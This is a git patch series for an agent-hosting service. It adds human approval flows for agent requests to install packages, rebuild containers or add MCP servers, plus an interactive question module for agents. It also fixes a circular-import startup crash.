pending_approval row. Routing: admin @ originating agent group → owner. + * Tie-break: prefer an approver reachable on the same channel kind as the + * originating session's messaging group. Delivery always lands in the + * approver's DM (not the origin group), regardless of where the action + * was triggered. + */ +async function requestApproval( + session: Session, + agentName: string, + action: 'install_packages' | 'request_rebuild' | 'add_mcp_server', + payload: Record, + title: string, + question: string, +): Promise { + const approvers = pickApprover(session.agent_group_id); + if (approvers.length === 0) { + notifyAgent(session, `${action} failed: no owner or admin configured to approve.`); + return; + } + + const originChannelType = session.messaging_group_id + ? (getMessagingGroup(session.messaging_group_id)?.channel_type ?? '') + : ''; + + const target = await pickApprovalDelivery(approvers, originChannelType); + if (!target) { + notifyAgent(session, `${action} failed: no DM channel found for any eligible approver.`); + return; + } + + const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const normalizedOptions = normalizeOptions(APPROVAL_OPTIONS); + createPendingApproval({ + approval_id: approvalId, + session_id: session.id, + request_id: approvalId, + action, + payload: JSON.stringify(payload), + created_at: new Date().toISOString(), + title, + options_json: JSON.stringify(normalizedOptions), + }); + + const adapter = getDeliveryAdapter(); + if (adapter) { + try { + await adapter.deliver( + target.messagingGroup.channel_type, + target.messagingGroup.platform_id, + null, + 'chat-sdk', + JSON.stringify({ + type: 'ask_question', + questionId: approvalId, + title, + question, + options: APPROVAL_OPTIONS, + }), + ); + } catch (err) { + log.error('Failed to deliver approval card', { action, approvalId, err }); + notifyAgent(session, `${action} failed: could not deliver approval request to ${target.userId}.`); + return; + } + } + + log.info('Approval requested', { action, approvalId, agentName, approver: target.userId }); +} + +export async function handleInstallPackages( + content: Record, + session: Session, +): Promise { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + notifyAgent(session, 'install_packages failed: agent group not found.'); + return; + } + + const apt = (content.apt as string[]) || []; + const npm = (content.npm as string[]) || []; + const reason = (content.reason as string) || ''; + + const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/; + const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; + const MAX_PACKAGES = 20; + if (apt.length + npm.length === 0) { + notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.'); + return; + } + if (apt.length + npm.length > MAX_PACKAGES) { + notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`); + return; + } + const invalidApt = apt.find((p) => !APT_RE.test(p)); + if (invalidApt) { + notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`); + log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt }); + return; + } + const invalidNpm = npm.find((p) => !NPM_RE.test(p)); + if (invalidNpm) { + notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`); + log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm }); + return; + } + + const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', '); + await requestApproval( + session, + agentGroup.name, + 'install_packages', + { apt, npm, reason }, + 'Install Packages Request', + `Agent "${agentGroup.name}" is attempting to install a package + rebuild container:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, + ); +} + +export async function handleRequestRebuild( + content: Record, + session: Session, +): Promise { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + notifyAgent(session, 'request_rebuild failed: agent group not found.'); + return; + } + const reason = (content.reason as string) || ''; + await requestApproval( + session, + agentGroup.name, + 'request_rebuild', + { reason }, + 'Rebuild Request', + `Agent "${agentGroup.name}" is attempting to rebuild container.${reason ? `\nReason: ${reason}` : ''}`, + ); +} + +export async function handleAddMcpServer( + content: Record, + session: Session, +): Promise { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + notifyAgent(session, 'add_mcp_server failed: agent group not found.'); + return; + } + const serverName = content.name as string; + const command = content.command as string; + if (!serverName || !command) { + notifyAgent(session, 'add_mcp_server failed: name and command are required.'); + return; + } + await requestApproval( + session, + agentGroup.name, + 'add_mcp_server', + { + name: serverName, + command, + args: (content.args as string[]) || [], + env: (content.env as Record) || {}, + }, + 'Add MCP Request', + `Agent "${agentGroup.name}" is attempting to add a new MCP server:\n${serverName} (${command})`, + ); +} diff --git a/src/modules/approvals/response-handler.ts b/src/modules/approvals/response-handler.ts new file mode 100644 index 0000000..1f4bc68 --- /dev/null +++ b/src/modules/approvals/response-handler.ts @@ -0,0 +1,156 @@ +/** + * Handle an admin's response to an approval card. + * + * Two categories of pending_approvals rows exist: + * 1. Agent-initiated actions (install_packages, request_rebuild, add_mcp_server). + * Fire-and-forget from the agent's perspective: we notify via chat on + * approve/reject, rebuild the image if applicable, then kill the container + * so the next wake picks up the new image. + * 2. OneCLI credential approvals (action = 'onecli_credential'). Resolved + * via an in-memory Promise — see onecli-approvals.ts. + * + * The response handler is registered via core's `registerResponseHandler`; + * core iterates handlers and the first one to return `true` claims the response. + */ +import { updateContainerConfig } from '../../container-config.js'; +import { buildAgentGroupImage, killContainer, wakeContainer } from '../../container-runner.js'; +import { getAgentGroup } from '../../db/agent-groups.js'; +import { deletePendingApproval, getPendingApproval, getSession } from '../../db/sessions.js'; +import type { ResponsePayload } from '../../index.js'; +import { log } from '../../log.js'; +import { writeSessionMessage } from '../../session-manager.js'; +import type { PendingApproval } from '../../types.js'; +import { ONECLI_ACTION, resolveOneCLIApproval } from './onecli-approvals.js'; + +export async function handleApprovalsResponse(payload: ResponsePayload): Promise { + // OneCLI credential approvals — resolved via in-memory Promise first. + if (resolveOneCLIApproval(payload.questionId, payload.value)) { + return true; + } + + // DB-backed pending_approvals. + const approval = getPendingApproval(payload.questionId); + if (!approval) return false; + + if (approval.action === ONECLI_ACTION) { + // Row exists but the in-memory resolver is gone (timer fired or process + // was in a weird state). Nothing to do — just drop the row. + deletePendingApproval(payload.questionId); + return true; + } + + await handleAgentApproval(approval, payload.value, payload.userId ?? ''); + return true; +} + +async function handleAgentApproval( + approval: PendingApproval, + selectedOption: string, + userId: string, +): Promise { + if (!approval.session_id) { + deletePendingApproval(approval.approval_id); + return; + } + const session = getSession(approval.session_id); + if (!session) { + deletePendingApproval(approval.approval_id); + return; + } + + const notify = (text: string): void => { + writeSessionMessage(session.agent_group_id, session.id, { + id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ text, sender: 'system', senderId: 'system' }), + }); + }; + + if (selectedOption !== 'approve') { + notify(`Your ${approval.action} request was rejected by admin.`); + log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId }); + deletePendingApproval(approval.approval_id); + await wakeContainer(session); + return; + } + + const payload = JSON.parse(approval.payload); + + if (approval.action === 'install_packages') { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + notify('install_packages approved but agent group missing.'); + return; + } + updateContainerConfig(agentGroup.folder, (cfg) => { + if (payload.apt) cfg.packages.apt.push(...(payload.apt as string[])); + if (payload.npm) cfg.packages.npm.push(...(payload.npm as string[])); + }); + + const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', '); + log.info('Package install approved', { approvalId: approval.approval_id, userId }); + try { + await buildAgentGroupImage(session.agent_group_id); + killContainer(session.id, 'rebuild applied'); + // Schedule a follow-up prompt a few seconds after kill so the host sweep + // respawns the container on the new image and the agent verifies + reports. + writeSessionMessage(session.agent_group_id, session.id, { + id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ + text: `Packages installed (${pkgs}) and container rebuilt. Verify the new packages are available (e.g. run them or check versions) and report the result to the user.`, + sender: 'system', + senderId: 'system', + }), + processAfter: new Date(Date.now() + 5000) + .toISOString() + .replace('T', ' ') + .replace(/\.\d+Z$/, ''), + }); + log.info('Container rebuild completed (bundled with install)', { approvalId: approval.approval_id }); + } catch (e) { + notify( + `Packages added to config (${pkgs}) but rebuild failed: ${e instanceof Error ? e.message : String(e)}. Call request_rebuild to retry.`, + ); + log.error('Bundled rebuild failed after install approval', { approvalId: approval.approval_id, err: e }); + } + } else if (approval.action === 'request_rebuild') { + try { + await buildAgentGroupImage(session.agent_group_id); + killContainer(session.id, 'rebuild applied'); + notify('Container image rebuilt. Your container will restart with the new image on the next message.'); + log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); + } catch (e) { + notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`); + log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); + } + } else if (approval.action === 'add_mcp_server') { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + notify('add_mcp_server approved but agent group missing.'); + return; + } + updateContainerConfig(agentGroup.folder, (cfg) => { + cfg.mcpServers[payload.name as string] = { + command: payload.command as string, + args: (payload.args as string[]) || [], + env: (payload.env as Record) || {}, + }; + }); + + killContainer(session.id, 'mcp server added'); + notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`); + log.info('MCP server add approved', { approvalId: approval.approval_id, userId }); + } + + deletePendingApproval(approval.approval_id); + await wakeContainer(session); +} diff --git a/src/modules/index.ts b/src/modules/index.ts index 7d8d298..4d1cc9f 100644 --- a/src/modules/index.ts +++ b/src/modules/index.ts @@ -13,4 +13,6 @@ * Registry-based modules (installed via /add- skills, pulled from the * `modules` branch): append imports below. */ -export {}; +import './interactive/index.js'; +import './approvals/index.js'; + diff --git a/src/modules/interactive/agent.md b/src/modules/interactive/agent.md new file mode 100644 index 0000000..d97aedd --- /dev/null +++ b/src/modules/interactive/agent.md @@ -0,0 +1,21 @@ +## ask_user_question + +Use `ask_user_question` when you need the user to pick from a small set of concrete options and you can't infer a reasonable default. This is a **blocking** call — your turn pauses until the user clicks or the timeout expires. + +**When to use:** +- Confirming a destructive action ("Delete these 3 files?") +- Choosing between incompatible paths ("Keep their version or yours?") +- Gathering a required parameter that must be one of a known set + +**When NOT to use:** +- Open-ended text input — just send a regular message asking. +- Yes/no confirmations where "no" is the safe default — just proceed and let the user interrupt. +- Anything you can work out from context. + +**Arguments:** +- `title` (string) — short card header, e.g. "Confirm deletion" +- `question` (string) — the full question +- `options` (array) — each is either a plain string or `{ label, selectedLabel?, value? }`. `selectedLabel` replaces the button text after click; `value` is what gets returned to you +- `timeout` (number, seconds, default 300) — how long to wait before giving up + +The response is the `value` (or label if no value set) of whichever option the user chose. On timeout you get an error and should proceed with a sensible default or tell the user you timed out. diff --git a/src/modules/interactive/index.ts b/src/modules/interactive/index.ts new file mode 100644 index 0000000..f24794b --- /dev/null +++ b/src/modules/interactive/index.ts @@ -0,0 +1,55 @@ +/** + * Interactive module — generic ask_user_question flow. + * + * Container-side `ask_user_question` writes a chat-sdk card to outbound.db + + * polls inbound.db for a `question_response` system message. On the host side + * this module handles the button-click response: look up the pending_questions + * row, write the response into the session's inbound.db, wake the container. + * + * The `createPendingQuestion` call in `deliverMessage` (delivery.ts) stays + * inline in core — it's 15 lines guarded by `hasTable('pending_questions')`, + * modularizing it adds more registry surface than it saves. + */ +import { getDb, hasTable } from '../../db/connection.js'; +import { deletePendingQuestion, getPendingQuestion, getSession } from '../../db/sessions.js'; +import { wakeContainer } from '../../container-runner.js'; +import { registerResponseHandler, type ResponsePayload } from '../../index.js'; +import { log } from '../../log.js'; +import { writeSessionMessage } from '../../session-manager.js'; + +async function handleInteractiveResponse(payload: ResponsePayload): Promise { + if (!hasTable(getDb(), 'pending_questions')) return false; + + const pq = getPendingQuestion(payload.questionId); + if (!pq) return false; + + const session = getSession(pq.session_id); + if (!session) { + log.warn('Session not found for pending question', { questionId: payload.questionId, sessionId: pq.session_id }); + deletePendingQuestion(payload.questionId); + return true; // claimed — we owned this questionId even though the session is gone + } + + writeSessionMessage(session.agent_group_id, session.id, { + id: `qr-${payload.questionId}-${Date.now()}`, + kind: 'system', + timestamp: new Date().toISOString(), + platformId: pq.platform_id, + channelType: pq.channel_type, + threadId: pq.thread_id, + content: JSON.stringify({ + type: 'question_response', + questionId: payload.questionId, + selectedOption: payload.value, + userId: payload.userId ?? '', + }), + }); + + deletePendingQuestion(payload.questionId); + log.info('Question response routed', { questionId: payload.questionId, selectedOption: payload.value, sessionId: session.id }); + + await wakeContainer(session); + return true; +} + +registerResponseHandler(handleInteractiveResponse); diff --git a/src/modules/interactive/project.md b/src/modules/interactive/project.md new file mode 100644 index 0000000..d6ce7db --- /dev/null +++ b/src/modules/interactive/project.md @@ -0,0 +1,12 @@ +## Interactive module + +Generic ask_user_question flow. Lives in `src/modules/interactive/`. + +The container-side MCP tool `ask_user_question` writes a chat-sdk card to outbound.db and polls inbound.db for a `question_response` system message. The host side of this is split: + +- **Inline in `src/delivery.ts`:** the `deliverMessage` path intercepts `content.type === 'ask_question'` messages and writes a row to `pending_questions`. Guarded by `hasTable(db, 'pending_questions')`. +- **This module:** registers a `ResponseHandler` that runs when a button-click arrives via the channel adapter's `onAction`. It looks up the `pending_questions` row, writes a `question_response` system message into the session's inbound.db, wakes the container. + +The `pending_questions` table is in the core `001-initial.ts` migration — the module doesn't own the schema, just the behavior. Removing the module disables the button-click response path only; cards are still delivered. + +`getAskQuestionRender` in `src/db/sessions.ts` resolves card render metadata for `chat-sdk-bridge.ts`. It reads both `pending_questions` and `pending_approvals` and degrades via `hasTable`. Stays in core. From 626c565a70a5543e8e4fbcafe40f6239e7873f97 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 18 Apr 2026 15:48:43 +0300 Subject: [PATCH 2/2] fix(modules): break circular import TDZ between index.ts and modules MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PR #3 introduced a circular-import temporal-dead-zone bug that didn't surface in unit tests but crashed the service at startup: src/index.ts imports './modules/index.js' for side effects → src/modules/interactive/index.ts calls registerResponseHandler() → that function is declared in src/index.ts → but src/index.ts's const responseHandlers = [] hasn't been initialized yet (we're in the middle of its module-init) → ReferenceError: Cannot access 'responseHandlers' before initialization Same issue for registerResponseHandler itself (the function reference resolves to undefined) and for onShutdown in the approvals module. Caught when the operator started the service and systemd flagged the process as crashing in auto-restart loop. Fix: extract responseHandlers + registerResponseHandler + shutdownCallbacks + onShutdown into src/response-registry.ts, which has no dependencies on src/index.ts or on modules. index.ts re-exports the same surface for any existing consumers; modules import directly from response-registry.js. The bug was latent because: - Unit tests import pieces, never src/index.ts's main() flow. - Host builds clean because TypeScript doesn't catch runtime circular init order. - Only surfaces when the ES module loader actually executes src/index.ts as the entry point. Verified: service boots on Linux host with approvals + interactive loaded; OneCLI handler starts via onDeliveryAdapterReady callback. Co-Authored-By: Claude Opus 4.7 (1M context) --- src/index.ts | 61 +++++++---------------- src/modules/approvals/index.ts | 2 +- src/modules/approvals/response-handler.ts | 2 +- src/modules/interactive/index.ts | 2 +- src/response-registry.ts | 45 +++++++++++++++++ 5 files changed, 65 insertions(+), 47 deletions(-) create mode 100644 src/response-registry.ts diff --git a/src/index.ts b/src/index.ts index 6b7d795..ffb2731 100644 --- a/src/index.ts +++ b/src/index.ts @@ -16,51 +16,24 @@ import { startHostSweep, stopHostSweep } from './host-sweep.js'; import { routeInbound } from './router.js'; import { log } from './log.js'; -/** - * Response handler registry. - * - * Button-click / question responses arrive via the channel adapter's - * `onAction` callback. Core iterates registered handlers in registration - * order; the first one that returns `true` claims the response. Unclaimed - * responses are logged and dropped. - * - * Current consumers: interactive module (pending_questions), approvals - * module (pending_approvals + OneCLI). If neither is loaded, every click - * logs "Unclaimed response". - */ -export interface ResponsePayload { - questionId: string; - value: string; - userId: string | null; - channelType: string; - platformId: string; - threadId: string | null; -} - -export type ResponseHandler = (payload: ResponsePayload) => Promise; - -const responseHandlers: ResponseHandler[] = []; - -export function registerResponseHandler(handler: ResponseHandler): void { - responseHandlers.push(handler); -} - -/** - * Shutdown callbacks. Modules with teardown needs (timers, outbound sockets) - * register here. Called in registration order during SIGTERM / SIGINT - * before core's delivery/sweep/channel teardown. - * - * Not a general-purpose registry — narrow lifecycle hook only. - */ -type ShutdownCallback = () => void | Promise; -const shutdownCallbacks: ShutdownCallback[] = []; - -export function onShutdown(cb: ShutdownCallback): void { - shutdownCallbacks.push(cb); -} +// Response + shutdown registries live in response-registry.ts to break the +// circular import cycle: src/index.ts imports src/modules/index.js for side +// effects, and the modules call registerResponseHandler/onShutdown at top +// level — which would hit a TDZ error if the arrays lived here. Re-exported +// here so existing callers see the same surface. +import { + registerResponseHandler, + getResponseHandlers, + onShutdown, + getShutdownCallbacks, + type ResponsePayload, + type ResponseHandler, +} from './response-registry.js'; +export { registerResponseHandler, onShutdown }; +export type { ResponsePayload, ResponseHandler }; async function dispatchResponse(payload: ResponsePayload): Promise { - for (const handler of responseHandlers) { + for (const handler of getResponseHandlers()) { try { const claimed = await handler(payload); if (claimed) return; @@ -202,7 +175,7 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] { /** Graceful shutdown. */ async function shutdown(signal: string): Promise { log.info('Shutdown signal received', { signal }); - for (const cb of shutdownCallbacks) { + for (const cb of getShutdownCallbacks()) { try { await cb(); } catch (err) { diff --git a/src/modules/approvals/index.ts b/src/modules/approvals/index.ts index 3f30008..e159deb 100644 --- a/src/modules/approvals/index.ts +++ b/src/modules/approvals/index.ts @@ -11,7 +11,7 @@ * - A shutdown callback that stops the OneCLI handler cleanly. */ import { registerDeliveryAction, onDeliveryAdapterReady } from '../../delivery.js'; -import { registerResponseHandler, onShutdown } from '../../index.js'; +import { registerResponseHandler, onShutdown } from '../../response-registry.js'; import { handleAddMcpServer, handleInstallPackages, handleRequestRebuild } from './request-approval.js'; import { handleApprovalsResponse } from './response-handler.js'; import { startOneCLIApprovalHandler, stopOneCLIApprovalHandler } from './onecli-approvals.js'; diff --git a/src/modules/approvals/response-handler.ts b/src/modules/approvals/response-handler.ts index 1f4bc68..803268a 100644 --- a/src/modules/approvals/response-handler.ts +++ b/src/modules/approvals/response-handler.ts @@ -16,7 +16,7 @@ import { updateContainerConfig } from '../../container-config.js'; import { buildAgentGroupImage, killContainer, wakeContainer } from '../../container-runner.js'; import { getAgentGroup } from '../../db/agent-groups.js'; import { deletePendingApproval, getPendingApproval, getSession } from '../../db/sessions.js'; -import type { ResponsePayload } from '../../index.js'; +import type { ResponsePayload } from '../../response-registry.js'; import { log } from '../../log.js'; import { writeSessionMessage } from '../../session-manager.js'; import type { PendingApproval } from '../../types.js'; diff --git a/src/modules/interactive/index.ts b/src/modules/interactive/index.ts index f24794b..5a3b8af 100644 --- a/src/modules/interactive/index.ts +++ b/src/modules/interactive/index.ts @@ -13,7 +13,7 @@ import { getDb, hasTable } from '../../db/connection.js'; import { deletePendingQuestion, getPendingQuestion, getSession } from '../../db/sessions.js'; import { wakeContainer } from '../../container-runner.js'; -import { registerResponseHandler, type ResponsePayload } from '../../index.js'; +import { registerResponseHandler, type ResponsePayload } from '../../response-registry.js'; import { log } from '../../log.js'; import { writeSessionMessage } from '../../session-manager.js'; diff --git a/src/response-registry.ts b/src/response-registry.ts new file mode 100644 index 0000000..60e04c9 --- /dev/null +++ b/src/response-registry.ts @@ -0,0 +1,45 @@ +/** + * Response handler + shutdown callback registries. + * + * Extracted from index.ts so that modules calling `registerResponseHandler()` + * or `onShutdown()` at import time don't hit a TDZ error on the const-array + * declarations. index.ts imports src/modules/index.js for its side effects, + * which triggers module registrations that would otherwise happen before + * index.ts's own const initializers have run. + * + * Keep this file dependency-free (log.js is fine, but nothing from + * modules/* or index.ts itself). Any file imported here must not in turn + * import from src/index.ts, or the cycle returns. + */ + +export interface ResponsePayload { + questionId: string; + value: string; + userId: string | null; + channelType: string; + platformId: string; + threadId: string | null; +} + +export type ResponseHandler = (payload: ResponsePayload) => Promise; + +const responseHandlers: ResponseHandler[] = []; + +export function registerResponseHandler(handler: ResponseHandler): void { + responseHandlers.push(handler); +} + +export function getResponseHandlers(): readonly ResponseHandler[] { + return responseHandlers; +} + +type ShutdownCallback = () => void | Promise; +const shutdownCallbacks: ShutdownCallback[] = []; + +export function onShutdown(cb: ShutdownCallback): void { + shutdownCallbacks.push(cb); +} + +export function getShutdownCallbacks(): readonly ShutdownCallback[] { + return shutdownCallbacks; +}